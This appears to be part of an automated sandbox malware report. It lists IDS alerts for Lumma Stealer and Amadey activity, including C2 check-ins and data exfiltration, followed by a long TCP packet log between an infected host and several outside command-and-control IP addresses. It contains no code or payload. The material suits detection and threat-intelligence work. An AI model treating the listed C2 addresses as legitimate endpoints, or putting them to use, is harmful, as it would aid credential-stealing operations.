2024-12-19T20:11:28.117522+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49812	104.21.91.209	443	TCP
2024-12-19T20:11:28.117522+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49812	104.21.91.209	443	TCP
2024-12-19T20:11:29.344880+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49815	31.41.244.11	80	TCP
2024-12-19T20:11:29.358331+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49820	104.21.91.209	443	TCP
2024-12-19T20:11:30.146457+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49820	104.21.91.209	443	TCP
2024-12-19T20:11:30.146457+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49820	104.21.91.209	443	TCP
2024-12-19T20:11:31.819459+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49826	104.21.91.209	443	TCP
2024-12-19T20:11:32.800938+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49826	104.21.91.209	443	TCP
2024-12-19T20:11:34.229749+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49832	104.21.91.209	443	TCP
2024-12-19T20:11:35.346786+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49835	185.215.113.43	80	TCP
2024-12-19T20:11:36.583698+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49843	104.21.91.209	443	TCP
2024-12-19T20:11:36.799022+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49842	31.41.244.11	80	TCP
2024-12-19T20:11:39.268812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49850	104.21.91.209	443	TCP
2024-12-19T20:11:42.115365+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49858	104.21.91.209	443	TCP
2024-12-19T20:11:47.552815+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49874	104.21.91.209	443	TCP
2024-12-19T20:11:47.590317+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49872	185.215.113.43	80	TCP
2024-12-19T20:11:48.324986+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49874	104.21.91.209	443	TCP
2024-12-19T20:11:49.253735+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49877	31.41.244.11	80	TCP
2024-12-19T20:12:00.056946+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49904	185.215.113.43	80	TCP
2024-12-19T20:12:01.508018+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49909	31.41.244.11	80	TCP
2024-12-19T20:12:08.011105+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49922	185.215.113.43	80	TCP
2024-12-19T20:12:09.467834+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49928	31.41.244.11	80	TCP
2024-12-19T20:12:12.150526+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49934	104.21.91.209	443	TCP
2024-12-19T20:12:12.916358+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49934	104.21.91.209	443	TCP
2024-12-19T20:12:12.916358+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49934	104.21.91.209	443	TCP
2024-12-19T20:12:14.146526+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49940	104.21.91.209	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 20:11:05.427562952 CET	49753	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:05.547497988 CET	80	49753	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:05.547605991 CET	49753	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:05.547880888 CET	49753	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:05.667922974 CET	80	49753	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:06.880407095 CET	80	49753	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:06.882519007 CET	49753	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:08.393534899 CET	49753	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:08.393979073 CET	49764	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:08.513458014 CET	80	49764	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:08.513489962 CET	80	49753	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:08.513626099 CET	49753	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:08.513628006 CET	49764	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:08.513900042 CET	49764	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:08.633446932 CET	80	49764	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:09.908132076 CET	80	49764	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:09.908144951 CET	80	49764	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:09.908230066 CET	49764	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:10.164242983 CET	80	49764	185.215.113.43	192.168.2.4
Dec 19, 2024 20:11:10.164314032 CET	49764	80	192.168.2.4	185.215.113.43
Dec 19, 2024 20:11:10.168988943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:10.288593054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:10.288737059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:10.289033890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:10.408500910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.648283005 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.648359060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.648386955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.648426056 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.648432970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.648489952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.648713112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.648765087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.648869991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.648902893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.648916960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.648951054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.649143934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.649178982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.649194956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.649221897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.649418116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.649456978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.649466038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.649528027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.767988920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.768141031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.768196106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.768259048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.772238970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.772275925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.772330046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.772399902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.779457092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.779556990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.840348959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.840467930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.840564966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.840629101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.844613075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.844669104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.844702005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.844719887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.852921963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.853029966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.855933905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.856019020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.856137037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.856249094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.865101099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.865200043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.865248919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.865444899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.873294115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.873349905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.873392105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.873419046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.881148100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.881270885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.881325960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.881325960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.889679909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.889707088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.889785051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.889785051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.897927999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.898015976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.898063898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.898113966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.906992912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.907028913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.907217026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.914551973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.914680958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.914711952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.914798975 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.921724081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.921848059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:11.921921968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:11.921992064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.012186050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.012312889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.012327909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.012516022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.033451080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.033554077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.033584118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.033773899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.035332918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.035469055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.035492897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.035566092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.039654016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.039731026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.039983988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.040081024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.043889046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.044050932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.044083118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.044132948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.047640085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.047759056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.047791958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.047964096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.052001953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.052095890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.052112103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.052181959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.052181959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.056308031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.056370020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.056411982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.056597948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.060627937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.060755014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.060903072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.061016083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.064949036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.065176964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.065207958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.065351963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.069304943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.069391012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.069422007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.069466114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.073658943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.073688030 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.073726892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.073780060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.077986956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.078110933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.078157902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.078219891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.082385063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.082448006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.082467079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.082516909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.086895943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.086947918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.086966991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.087044001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.091006994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.091077089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.091371059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.091449976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.095307112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.095365047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.095417976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.095417976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.099687099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.099786043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.099826097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.099874020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.103921890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.103977919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.104018927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.104059935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.108308077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.108392000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.108401060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.108468056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.112703085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.112730980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.112767935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.112890005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.117036104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.117108107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.117161989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.117211103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.121292114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.121402979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.121479988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.121593952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.125617027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.125705957 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.224560976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.224653959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.224705935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.224819899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.226303101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.226398945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.226437092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.226526022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.229613066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.229665995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.230788946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.230926991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.230962992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.231000900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.234164953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.234250069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.234281063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.234391928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.237639904 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.237657070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.237708092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.237708092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.240833044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.240892887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.240895033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.240932941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.244040012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.244153023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.244163990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.244332075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.247220039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.247298002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.247308969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.247354984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.250257015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.250348091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.250436068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.250545979 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.253465891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.253573895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.253612041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.253663063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.256589890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.256648064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.256684065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.256764889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.259385109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.259463072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.259500980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.259581089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.262447119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.262537003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.262578011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.262629986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.265522003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.265547991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.265595913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.265595913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.268589020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.268791914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.268820047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.268871069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.271677971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.271696091 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.271739006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.271816969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.274583101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.274660110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.274697065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.274789095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.277654886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.277720928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.277766943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.277842999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.280708075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.280781984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.280857086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.280914068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.283979893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.284022093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.284060955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.284132957 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.287336111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.287359953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.287434101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.287434101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.290196896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.290214062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.290282965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.290282965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.293270111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.293360949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.293409109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.293463945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.296348095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.296413898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.296469927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.296684027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.298985958 CET	80	49768	31.41.244.11	192.168.2.4
